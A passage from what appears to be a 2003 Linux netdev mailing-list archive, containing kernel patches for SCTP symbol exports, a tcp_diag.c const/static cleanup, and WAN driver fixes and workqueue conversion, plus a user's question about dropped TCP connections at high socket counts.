-176,7 +176,8 @@ NET_TR=3D14, NET_DECNET=3D15, NET_ECONET=3D16, - NET_KHTTPD=3D17 + NET_KHTTPD=3D17, + NET_SCTP=3D18 }; =20 /* /proc/sys/kernel/random */ @@ -509,6 +510,21 @@ NET_DECNET_DEBUG_LEVEL =3D 255 }; =20 +/* /proc/sys/net/sctp */ +enum { + NET_SCTP_RTO_INITIAL =3D 1, + NET_SCTP_RTO_MIN =3D 2, + NET_SCTP_RTO_MAX =3D 3, + NET_SCTP_RTO_ALPHA =3D 4, + NET_SCTP_RTO_BETA =3D 5, + NET_SCTP_VALID_COOKIE_LIFE =3D 6, + NET_SCTP_ASSOCIATION_MAX_RETRANS =3D 7, + NET_SCTP_PATH_MAX_RETRANS =3D 8, + NET_SCTP_MAX_INIT_RETRANSMITS =3D 9, + NET_SCTP_HB_INTERVAL =3D 10, + NET_SCTP_PRESERVE_ENABLE =3D 11, + NET_SCTP_MAX_BURST =3D 12, +}; /* /proc/sys/net/khttpd/ */ enum { NET_KHTTPD_DOCROOT =3D 1, diff -Nru a/include/net/inet_common.h b/include/net/inet_common.h --- a/include/net/inet_common.h Fri Sep 19 15:34:00 2003 +++ b/include/net/inet_common.h Fri Sep 19 15:34:00 2003 @@ -43,6 +43,14 @@ extern void inet_sock_destruct(struct sock *sk); extern atomic_t inet_sock_nr; =20 +extern int inet_bind(struct socket *sock, + struct sockaddr *uaddr, int addr_len); +extern int inet_getname(struct socket *sock, + struct sockaddr *uaddr, + int *uaddr_len, int peer); +extern int inet_ioctl(struct socket *sock, + unsigned int cmd, unsigned long arg); + #endif =20 =20 diff -Nru a/include/net/ip.h b/include/net/ip.h --- a/include/net/ip.h Fri Sep 19 15:34:00 2003 +++ b/include/net/ip.h Fri Sep 19 15:34:00 2003 @@ -96,7 +96,7 @@ extern int ip_fragment(struct sk_buff *skb, int (*out)(struct = sk_buff*)); extern int ip_do_nat(struct sk_buff *skb); extern void ip_send_check(struct iphdr *ip); -extern int ip_queue_xmit(struct sk_buff *skb); +extern int ip_queue_xmit(struct sk_buff *skb, int ipfragok); extern void ip_init(void); extern int ip_build_xmit(struct sock *sk, int getfrag (const void *, diff -Nru a/include/net/ipv6.h b/include/net/ipv6.h --- a/include/net/ipv6.h Fri Sep 19 15:34:00 2003 +++ b/include/net/ipv6.h Fri Sep 19 15:34:00 2003 @@ -353,6 +353,14 @@ u32 info, u8 *payload); extern void ipv6_local_error(struct sock *sk, int err, struct flowi = *fl, u32 info); =20 +extern int inet6_release(struct socket *sock); +extern int inet6_bind(struct socket *sock, struct sockaddr *uaddr,=20 + int addr_len); +extern int inet6_getname(struct socket *sock, struct sockaddr *uaddr, + int *uaddr_len, int peer); +extern int inet6_ioctl(struct socket *sock, unsigned int cmd,=20 + unsigned long arg); + #endif /* __KERNEL__ */ #endif /* _NET_IPV6_H */ =20 diff -Nru a/include/net/snmp.h b/include/net/snmp.h --- a/include/net/snmp.h Fri Sep 19 15:34:00 2003 +++ b/include/net/snmp.h Fri Sep 19 15:34:00 2003 @@ -212,6 +212,35 @@ unsigned long __pad[0]; } ____cacheline_aligned;=20 =20 +/* draft-ietf-sigtran-sctp-mib-07.txt */ +struct sctp_mib +{ + unsigned long SctpCurrEstab; + unsigned long SctpActiveEstabs; + unsigned long SctpPassiveEstabs; + unsigned long SctpAborteds; + unsigned long SctpShutdowns; + unsigned long SctpOutOfBlues; + unsigned long SctpChecksumErrors; + unsigned long SctpOutCtrlChunks; + unsigned long SctpOutOrderChunks; + unsigned long SctpOutUnorderChunks; + unsigned long SctpInCtrlChunks; + unsigned long SctpInOrderChunks; + unsigned long SctpInUnorderChunks; + unsigned long SctpFragUsrMsgs; + unsigned long SctpReasmUsrMsgs; + unsigned long SctpOutSCTPPacks; + unsigned long SctpInSCTPPacks; + unsigned long SctpRtoAlgorithm; + unsigned long SctpRtoMin; + unsigned long SctpRtoMax; + unsigned long SctpRtoInitial; + unsigned long SctpValCookieLife; + unsigned long SctpMaxInitRetr; + unsigned long __pad[0]; +}; + struct linux_mib=20 { unsigned long SyncookiesSent; diff -Nru a/include/net/sock.h b/include/net/sock.h --- a/include/net/sock.h Fri Sep 19 15:34:00 2003 +++ b/include/net/sock.h Fri Sep 19 15:34:00 2003 @@ -49,6 +49,9 @@ #include #endif #include /* struct tcphdr */ +#if defined(CONFIG_IP_SCTP) || defined (CONFIG_IP_SCTP_MODULE) +#include /* struct sctp_opt */ +#endif =20 #include #include /* struct sk_buff */ @@ -586,6 +589,9 @@ =20 union { struct tcp_opt af_tcp; +#if defined(CONFIG_IP_SCTP) || defined (CONFIG_IP_SCTP_MODULE) + struct sctp_opt af_sctp; +#endif #if defined(CONFIG_INET) || defined (CONFIG_INET_MODULE) struct raw_opt tp_raw4; #endif diff -Nru a/include/net/tcp.h b/include/net/tcp.h --- a/include/net/tcp.h Fri Sep 19 15:34:00 2003 +++ b/include/net/tcp.h Fri Sep 19 15:34:00 2003 @@ -555,7 +555,8 @@ */ =20 struct tcp_func { - int (*queue_xmit) (struct sk_buff *skb); + int (*queue_xmit) (struct sk_buff *skb, + int ipfragok); =20 void (*send_check) (struct sock *sk, struct tcphdr *th, diff -Nru a/kernel/ksyms.c b/kernel/ksyms.c --- a/kernel/ksyms.c Fri Sep 19 15:34:00 2003 +++ b/kernel/ksyms.c Fri Sep 19 15:34:00 2003 @@ -513,6 +513,9 @@ EXPORT_SYMBOL(seq_release); EXPORT_SYMBOL(seq_read); EXPORT_SYMBOL(seq_lseek); +EXPORT_SYMBOL(single_open); +EXPORT_SYMBOL(single_release); +EXPORT_SYMBOL(seq_release_private); =20 /* Program loader interfaces */ EXPORT_SYMBOL(setup_arg_pages); diff -Nru a/net/Config.in b/net/Config.in --- a/net/Config.in Fri Sep 19 15:34:00 2003 +++ b/net/Config.in Fri Sep 19 15:34:00 2003 @@ -29,6 +29,9 @@ if [ "$CONFIG_EXPERIMENTAL" =3D "y" ]; then source net/khttpd/Config.in fi + if [ "$CONFIG_EXPERIMENTAL" =3D "y" ]; then + source net/sctp/Config.in + fi fi if [ "$CONFIG_EXPERIMENTAL" =3D "y" ]; then tristate 'Asynchronous Transfer Mode (ATM) (EXPERIMENTAL)' = CONFIG_ATM diff -Nru a/net/Makefile b/net/Makefile --- a/net/Makefile Fri Sep 19 15:34:00 2003 +++ b/net/Makefile Fri Sep 19 15:34:00 2003 @@ -7,7 +7,7 @@ =20 O_TARGET :=3D network.o =20 -mod-subdirs :=3D ipv4/netfilter ipv6/netfilter ipx irda bluetooth atm = netlink sched core +mod-subdirs :=3D ipv4/netfilter ipv6/netfilter ipx irda bluetooth atm = netlink sched core sctp export-objs :=3D netsyms.o =20 subdir-y :=3D core ethernet @@ -19,6 +19,7 @@ subdir-$(CONFIG_NETFILTER) +=3D ipv4/netfilter subdir-$(CONFIG_UNIX) +=3D unix subdir-$(CONFIG_IPV6) +=3D ipv6 +subdir-$(CONFIG_IP_SCTP) +=3D sctp =20 ifneq ($(CONFIG_IPV6),n) ifneq ($(CONFIG_IPV6),) diff -Nru a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c --- a/net/ipv4/af_inet.c Fri Sep 19 15:34:00 2003 +++ b/net/ipv4/af_inet.c Fri Sep 19 15:34:00 2003 @@ -470,7 +470,7 @@ /* It is off by default, see below. */ int sysctl_ip_nonlocal_bind; =20 -static int inet_bind(struct socket *sock, struct sockaddr *uaddr, int = addr_len) +int inet_bind(struct socket *sock, struct sockaddr *uaddr, int = addr_len) { struct sockaddr_in *addr=3D(struct sockaddr_in *)uaddr; struct sock *sk=3Dsock->sk; @@ -703,7 +703,7 @@ * This does both peername and sockname. */ =20 -static int inet_getname(struct socket *sock, struct sockaddr *uaddr, +int inet_getname(struct socket *sock, struct sockaddr *uaddr, int *uaddr_len, int peer) { struct sock *sk =3D sock->sk; @@ -820,7 +820,7 @@ * There's a good 20K of config code hanging around the kernel. */ =20 -static int inet_ioctl(struct socket *sock, unsigned int cmd, unsigned = long arg) +int inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long = arg) { struct sock *sk =3D sock->sk; int err; diff -Nru a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c --- a/net/ipv4/ip_output.c Fri Sep 19 15:34:00 2003 +++ b/net/ipv4/ip_output.c Fri Sep 19 15:34:00 2003 @@ -339,7 +339,7 @@ return ip_fragment(skb, skb->dst->output); } =20 -int ip_queue_xmit(struct sk_buff *skb) +int ip_queue_xmit(struct sk_buff *skb, int ipfragok) { struct sock *sk =3D skb->sk; struct ip_options *opt =3D sk->protinfo.af_inet.opt; @@ -384,7 +384,7 @@ iph =3D (struct iphdr *) skb_push(skb, sizeof(struct iphdr) + (opt ? = opt->optlen : 0)); *((__u16 *)iph) =3D htons((4 << 12) | (5 << 8) | = (sk->protinfo.af_inet.tos & 0xff)); iph->tot_len =3D htons(skb->len); - if (ip_dont_fragment(sk, &rt->u.dst)) + if (ip_dont_fragment(sk, &rt->u.dst) && !ipfragok) iph->frag_off =3D htons(IP_DF); else iph->frag_off =3D 0; diff -Nru a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c --- a/net/ipv4/tcp_output.c Fri Sep 19 15:34:00 2003 +++ b/net/ipv4/tcp_output.c Fri Sep 19 15:34:00 2003 @@ -275,7 +275,7 @@ =20 TCP_INC_STATS(TcpOutSegs); =20 - err =3D tp->af_specific->queue_xmit(skb); + err =3D tp->af_specific->queue_xmit(skb, 0); if (err <=3D 0) return err; =20 diff -Nru a/net/ipv6/Makefile b/net/ipv6/Makefile --- a/net/ipv6/Makefile Fri Sep 19 15:34:00 2003 +++ b/net/ipv6/Makefile Fri Sep 19 15:34:00 2003 @@ -13,7 +13,9 @@ route.o ip6_fib.o ipv6_sockglue.o ndisc.o udp.o raw.o \ protocol.o icmp.o mcast.o reassembly.o tcp_ipv6.o \ exthdrs.o sysctl_net_ipv6.o datagram.o proc.o \ - ip6_flowlabel.o + ip6_flowlabel.o ipv6_syms.o + +export-objs :=3D ipv6_syms.o =20 obj-m :=3D $(O_TARGET) =20 diff -Nru a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c --- a/net/ipv6/af_inet6.c Fri Sep 19 15:34:00 2003 +++ b/net/ipv6/af_inet6.c Fri Sep 19 15:34:00 2003 @@ -233,7 +233,7 @@ =20 =20 /* bind for INET6 API */ -static int inet6_bind(struct socket *sock, struct sockaddr *uaddr, int = addr_len) +int inet6_bind(struct socket *sock, struct sockaddr *uaddr, int = addr_len) { struct sockaddr_in6 *addr=3D(struct sockaddr_in6 *)uaddr; struct sock *sk =3D sock->sk; @@ -329,7 +329,7 @@ return 0; } =20 -static int inet6_release(struct socket *sock) +int inet6_release(struct socket *sock) { struct sock *sk =3D sock->sk; =20 @@ -376,7 +376,7 @@ * This does both peername and sockname. */ =20 -static int inet6_getname(struct socket *sock, struct sockaddr *uaddr, +int inet6_getname(struct socket *sock, struct sockaddr *uaddr, int *uaddr_len, int peer) { struct sockaddr_in6 *sin=3D(struct sockaddr_in6 *)uaddr; @@ -413,7 +413,7 @@ return(0); } =20 -static int inet6_ioctl(struct socket *sock, unsigned int cmd, unsigned = long arg) +int inet6_ioctl(struct socket *sock, unsigned int cmd, unsigned long = arg) { struct sock *sk =3D sock->sk; int err =3D -EINVAL; diff -Nru a/net/ipv6/ipv6_syms.c b/net/ipv6/ipv6_syms.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/net/ipv6/ipv6_syms.c Fri Sep 19 15:34:00 2003 @@ -0,0 +1,35 @@ + +#include +#include +#include +#include +#include +#include +#include + +EXPORT_SYMBOL(ipv6_addr_type); +EXPORT_SYMBOL(icmpv6_send); +EXPORT_SYMBOL(icmpv6_statistics); +EXPORT_SYMBOL(icmpv6_err_convert); +EXPORT_SYMBOL(ndisc_mc_map); +EXPORT_SYMBOL(register_inet6addr_notifier); +EXPORT_SYMBOL(unregister_inet6addr_notifier); +EXPORT_SYMBOL(ip6_route_output); +#ifdef CONFIG_NETFILTER +EXPORT_SYMBOL(ip6_route_me_harder); +#endif +EXPORT_SYMBOL(addrconf_lock); +EXPORT_SYMBOL(ipv6_setsockopt); +EXPORT_SYMBOL(ipv6_getsockopt); +EXPORT_SYMBOL(inet6_register_protosw); +EXPORT_SYMBOL(inet6_unregister_protosw); +EXPORT_SYMBOL(inet6_add_protocol); +EXPORT_SYMBOL(inet6_del_protocol); +EXPORT_SYMBOL(ip6_xmit); +EXPORT_SYMBOL(inet6_release); +EXPORT_SYMBOL(inet6_bind); +EXPORT_SYMBOL(inet6_getname); +EXPORT_SYMBOL(inet6_ioctl); +EXPORT_SYMBOL(ipv6_get_saddr); +EXPORT_SYMBOL(ipv6_chk_addr); +EXPORT_SYMBOL(in6_dev_finish_destroy); diff -Nru a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c --- a/net/ipv6/tcp_ipv6.c Fri Sep 19 15:34:00 2003 +++ b/net/ipv6/tcp_ipv6.c Fri Sep 19 15:34:00 2003 @@ -59,7 +59,7 @@ struct sk_buff *skb); =20 static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb); -static int tcp_v6_xmit(struct sk_buff *skb); +static int tcp_v6_xmit(struct sk_buff *skb, int ipfragok); =20 static struct tcp_func ipv6_mapped; static struct tcp_func ipv6_specific; @@ -1715,7 +1715,7 @@ return 0; } =20 -static int tcp_v6_xmit(struct sk_buff *skb) +static int tcp_v6_xmit(struct sk_buff *skb, int ipfragok) { struct sock *sk =3D skb->sk; struct ipv6_pinfo * np =3D &sk->net_pinfo.af_inet6; diff -Nru a/net/netsyms.c b/net/netsyms.c --- a/net/netsyms.c Fri Sep 19 15:34:00 2003 +++ b/net/netsyms.c Fri Sep 19 15:34:00 2003 @@ -60,7 +60,7 @@ =20 extern struct net_proto_family inet_family_ops; =20 -#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) || defined = (CONFIG_KHTTPD) || defined (CONFIG_KHTTPD_MODULE) +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) || defined = (CONFIG_KHTTPD) || defined (CONFIG_KHTTPD_MODULE) || defined = (CONFIG_IP_SCTP_MODULE) #include #include #include @@ -164,6 +164,7 @@ EXPORT_SYMBOL(put_cmsg); EXPORT_SYMBOL(sock_kmalloc); EXPORT_SYMBOL(sock_kfree_s); +EXPORT_SYMBOL(sock_map_fd); EXPORT_SYMBOL(sockfd_lookup); =20 #ifdef CONFIG_FILTER @@ -256,6 +257,8 @@ EXPORT_SYMBOL(ip_route_output_key); EXPORT_SYMBOL(ip_route_input); EXPORT_SYMBOL(icmp_send); +EXPORT_SYMBOL(icmp_statistics); +EXPORT_SYMBOL(icmp_err_convert); EXPORT_SYMBOL(ip_options_compile); EXPORT_SYMBOL(ip_options_undo); EXPORT_SYMBOL(arp_send); @@ -294,19 +297,7 @@ #endif =20 =20 -#ifdef CONFIG_IPV6 -EXPORT_SYMBOL(ipv6_addr_type); -EXPORT_SYMBOL(icmpv6_send); -EXPORT_SYMBOL(ndisc_mc_map); -EXPORT_SYMBOL(register_inet6addr_notifier); -EXPORT_SYMBOL(unregister_inet6addr_notifier); -#include -EXPORT_SYMBOL(ip6_route_output); -#ifdef CONFIG_NETFILTER -EXPORT_SYMBOL(ip6_route_me_harder); -#endif -#endif -#if defined (CONFIG_IPV6_MODULE) || defined (CONFIG_KHTTPD) || defined = (CONFIG_KHTTPD_MODULE) +#if defined (CONFIG_IPV6_MODULE) || defined (CONFIG_KHTTPD) || defined = (CONFIG_KHTTPD_MODULE) || defined (CONFIG_IP_SCTP_MODULE) /* inet functions common to v4 and v6 */ EXPORT_SYMBOL(inet_release); EXPORT_SYMBOL(inet_stream_connect); @@ -421,6 +412,14 @@ #endif =20 EXPORT_SYMBOL(tcp_read_sock); + +#ifdef CONFIG_IP_SCTP_MODULE +EXPORT_SYMBOL(ip_setsockopt); +EXPORT_SYMBOL(ip_getsockopt); +EXPORT_SYMBOL(inet_ioctl); +EXPORT_SYMBOL(inet_bind); +EXPORT_SYMBOL(inet_getname); +#endif /* CONFIG_IP_SCTP_MODULE */ =20 EXPORT_SYMBOL(netlink_set_err); EXPORT_SYMBOL(netlink_broadcast); diff -Nru a/net/socket.c b/net/socket.c --- a/net/socket.c Fri Sep 19 15:34:00 2003 +++ b/net/socket.c Fri Sep 19 15:34:00 2003 @@ -325,7 +325,7 @@ * but we take care of internal coherence yet. */ =20 -static int sock_map_fd(struct socket *sock) +int sock_map_fd(struct socket *sock) { int fd; struct qstr this; ------_=_NextPart_000_01C37EAB.5A49A8B0-- From shemminger@osdl.org Fri Sep 19 10:07:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 10:07:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JH77Fx009650 for ; Fri, 19 Sep 2003 10:07:08 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JH6sU30332; Fri, 19 Sep 2003 10:06:54 -0700 Date: Fri, 19 Sep 2003 10:06:32 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] tcp_diag.c -- use static,const,void Message-Id: <20030919100632.48dd8e27.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 54 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1880 Lines: 73 Cleanup internals of tcp_diag.c. Make functions static, use const for parameters in match functions, use void * when generic ptr is intended. diff -Nru a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c --- a/net/ipv4/tcp_diag.c Fri Sep 19 09:57:16 2003 +++ b/net/ipv4/tcp_diag.c Fri Sep 19 09:57:16 2003 @@ -213,7 +213,7 @@ int dif); #endif -static int tcpdiag_get_exact(struct sk_buff *in_skb, struct nlmsghdr *nlh) +static int tcpdiag_get_exact(struct sk_buff *in_skb, const struct nlmsghdr *nlh) { int err; struct sock *sk; @@ -272,7 +272,7 @@ return err; } -int bitstring_match(u32 *a1, u32 *a2, int bits) +static int bitstring_match(const u32 *a1, const u32 *a2, int bits) { int words = bits >> 5; @@ -299,12 +299,12 @@ } -int tcpdiag_bc_run(char *bc, int len, struct sock *sk) +static int tcpdiag_bc_run(const void *bc, int len, struct sock *sk) { while (len > 0) { int yes = 1; struct inet_opt *inet = inet_sk(sk); - struct tcpdiag_bc_op *op = (struct tcpdiag_bc_op*)bc; + const struct tcpdiag_bc_op *op = bc; switch (op->code) { case TCPDIAG_BC_NOP: @@ -385,10 +385,10 @@ return (len == 0); } -int valid_cc(char *bc, int len, int cc) +static int valid_cc(const void *bc, int len, int cc) { while (len >= 0) { - struct tcpdiag_bc_op *op = (struct tcpdiag_bc_op*)bc; + const struct tcpdiag_bc_op *op = bc; if (cc > len) return 0; @@ -402,9 +402,9 @@ return 0; } -int tcpdiag_bc_audit(char *bytecode, int bytecode_len) +static int tcpdiag_bc_audit(const void *bytecode, int bytecode_len) { - char *bc = bytecode; + const unsigned char *bc = bytecode; int len = bytecode_len; while (len > 0) { @@ -442,7 +442,7 @@ } -int tcpdiag_dump(struct sk_buff *skb, struct netlink_callback *cb) +static int tcpdiag_dump(struct sk_buff *skb, struct netlink_callback *cb) { int i, num; int s_i, s_num; From hjafri@ncsa.uiuc.edu Fri Sep 19 10:16:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 10:17:07 -0700 (PDT) Received: from mail.ncsa.uiuc.edu (mail.ncsa.uiuc.edu [141.142.2.28]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JHGqFx010624 for ; Fri, 19 Sep 2003 10:16:52 -0700 X-Envelope-From: hjafri@ncsa.uiuc.edu X-Envelope-To: Received: from silverhawk.ncsa.uiuc.edu (silverhawk.ncsa.uiuc.edu [141.142.98.125]) by mail.ncsa.uiuc.edu (8.11.6p2/8.11.6) with ESMTP id h8JHGq909698 for ; Fri, 19 Sep 2003 12:16:52 -0500 Message-Id: <5.1.0.14.2.20030919121408.00afd738@mail.ncsa.uiuc.edu> X-Sender: hjafri@mail.ncsa.uiuc.edu (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 19 Sep 2003 12:16:51 -0500 To: netdev@oss.sgi.com From: "Hassan M. Jafri" Subject: TCP connections dropped Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 55 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hjafri@ncsa.uiuc.edu Precedence: bulk X-list: netdev Content-Length: 688 Lines: 18 Kernel 2.4.19 glibc 2.2.5 I am running a parallel program on 170 nodes, with 2 processes on each nodes. so 340 total processes. Each process has a TCP connection established with every other process. So each process has 339 sockets in ESTABLISHED state. The problem occurs when I try to write() on these socket. The TCP connection gets dropped for some of the sockets of a few processes as soon as they try to write to those socket. This problem, however, does not occur, if I reduce the number of processes to less than 306 (305 TCP sockets/connections for each process). Any ideas why connections are getting dropped? Hassan p.s All sockets are non-blocking and nagle is disabled. From rddunlap@osdl.org Fri Sep 19 11:51:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 11:52:11 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JIprFx016591 for ; Fri, 19 Sep 2003 11:51:53 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JIpmU18638; Fri, 19 Sep 2003 11:51:48 -0700 Date: Fri, 19 Sep 2003 11:32:52 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: ncorbic@sangoma.com Subject: [PATCH] wan: kill 3 "unused" warnings Message-Id: <20030919113252.67949bc8.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 56 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1366 Lines: 47 Hi, Please apply to 2.6.0-test5. -- ~Randy patch_name: dscc_warnings.patch patch_version: 2003-09-19.11:18:03 author: Randy.Dunlap description: kill 3 warnings (label, functions not used); product: Linux product_versions: 2.6.0-test5 maintainer: Nenad Corbic diffstat: = drivers/net/wan/dscc4.c | 3 ++- 1 files changed, 2 insertions(+), 1 deletion(-) diff -Naurp ./drivers/net/wan/dscc4.c~warnings ./drivers/net/wan/dscc4.c --- ./drivers/net/wan/dscc4.c~warnings 2003-09-08 12:49:58.000000000 -0700 +++ ./drivers/net/wan/dscc4.c 2003-09-19 11:14:59.000000000 -0700 @@ -593,6 +593,7 @@ static inline int dscc4_xpr_ack(struct d return (i >= 0 ) ? i : -EAGAIN; } +#ifdef RESETS static void dscc4_rx_reset(struct dscc4_dev_priv *dpriv, struct net_device *dev) { unsigned long flags; @@ -626,6 +627,7 @@ static void dscc4_tx_reset(struct dscc4_ if (dscc4_do_action(dev, "Rdt") < 0) printk(KERN_ERR "%s: Tx reset failed\n", dev->name); } +#endif /* RESETS */ /* TODO: (ab)use this function to refill a completely depleted RX ring. */ static inline void dscc4_rx_skb(struct dscc4_dev_priv *dpriv, @@ -1093,7 +1095,6 @@ done: err_disable_scc_events: scc_writel(0xffffffff, dpriv, dev, IMR); -err_free_ring: scc_patchl(PowerUp | Vis, 0, dpriv, dev, CCR0); dscc4_release_ring(dpriv); err_out: From rddunlap@osdl.org Fri Sep 19 11:51:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 11:52:13 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JIprFx016590 for ; Fri, 19 Sep 2003 11:51:53 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JIplU18634; Fri, 19 Sep 2003 11:51:47 -0700 Date: Fri, 19 Sep 2003 11:27:46 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: ncorbic@sangoma.com Subject: [PATCH] wan: remove multi-line string literal Message-Id: <20030919112746.3df80578.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 57 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 970 Lines: 33 Please apply to 2.6.0-test5-current. -- ~Randy patch_name: sdla_2line_string.patch patch_version: 2003-09-19.10:29:52 author: Randy.Dunlap description: remove deprecated multi-line string literal; product: Linux product_versions: 2.6.0-test5 maintainer: Nenad Corbic diffstat: = drivers/net/wan/sdla_chdlc.c | 4 ++-- 1 files changed, 2 insertions(+), 2 deletions(-) diff -Naurp ./drivers/net/wan/sdla_chdlc.c~fixstring ./drivers/net/wan/sdla_chdlc.c --- ./drivers/net/wan/sdla_chdlc.c~fixstring 2003-09-08 12:50:06.000000000 -0700 +++ ./drivers/net/wan/sdla_chdlc.c 2003-09-19 10:25:43.000000000 -0700 @@ -560,8 +560,8 @@ int wpc_init (sdla_t* card, wandev_conf_ if (chdlc_set_intr_mode(card, APP_INT_ON_TIMER)){ - printk (KERN_INFO "%s: - Failed to set interrupt triggers!\n", + printk (KERN_INFO "%s: " + "Failed to set interrupt triggers!\n", card->devname); return -EIO; } From rddunlap@osdl.org Fri Sep 19 11:53:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 11:53:49 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JIreFx017098 for ; Fri, 19 Sep 2003 11:53:40 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JIrYU18787; Fri, 19 Sep 2003 11:53:34 -0700 Date: Fri, 19 Sep 2003 11:46:41 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: ncorbic@sangoma.com Subject: [PATCH] wan: convert taskqueues to workqueues Message-Id: <20030919114641.43d57172.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 58 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 13778 Lines: 405 Hi, This patch converts (or attempts to convert) drivers/net/wan/* from task queues to the workqueue API, plus a few other small cleanups. I haven't used workqueues much, so some review would be a good thing (depending on the answer to the following question). Nenad, what are the plans for drivers/net/wan/ in 2.6? Will these drivers be updated or will they just bitrot? Thanks, -- ~Randy patch_name: wan_sdla_workqueue.patch patch_version: 2003-09-19.11:31:30 author: Randy.Dunlap description: convert wan/sdlamain.c from task queue to workqueue API; product: Linux product_versions: 2.6.0-test5 changelog: use workqueue API; don't init static globals to 0; kill 1 unused variable (warning); fix spelling/typos; convert 2 caller modules to use new interface; use request/release_region instead of check_region; maintainer: ncorbic@sangoma.com diffstat: = drivers/net/wan/sdla_fr.c | 30 +++++------- drivers/net/wan/sdla_x25.c | 20 +++----- drivers/net/wan/sdlamain.c | 104 ++++++++++++++++++++------------------------- 3 files changed, 68 insertions(+), 86 deletions(-) diff -Naurp ./drivers/net/wan/sdlamain.c~wrkque ./drivers/net/wan/sdlamain.c --- ./drivers/net/wan/sdlamain.c~wrkque 2003-09-08 12:50:18.000000000 -0700 +++ ./drivers/net/wan/sdlamain.c 2003-09-19 11:28:13.000000000 -0700 @@ -189,7 +189,6 @@ static int ioctl_exec (sdla_t* card, sdl /* Miscellaneous functions */ STATIC irqreturn_t sdla_isr (int irq, void* dev_id, struct pt_regs *regs); static void release_hw (sdla_t *card); -static void run_wanpipe_tq (unsigned long); static int check_s508_conflicts (sdla_t* card,wandev_conf_t* conf, int*); static int check_s514_conflicts (sdla_t* card,wandev_conf_t* conf, int*); @@ -203,29 +202,21 @@ static int check_s514_conflicts (sdla_t* static char drvname[] = "wanpipe"; static char fullname[] = "WANPIPE(tm) 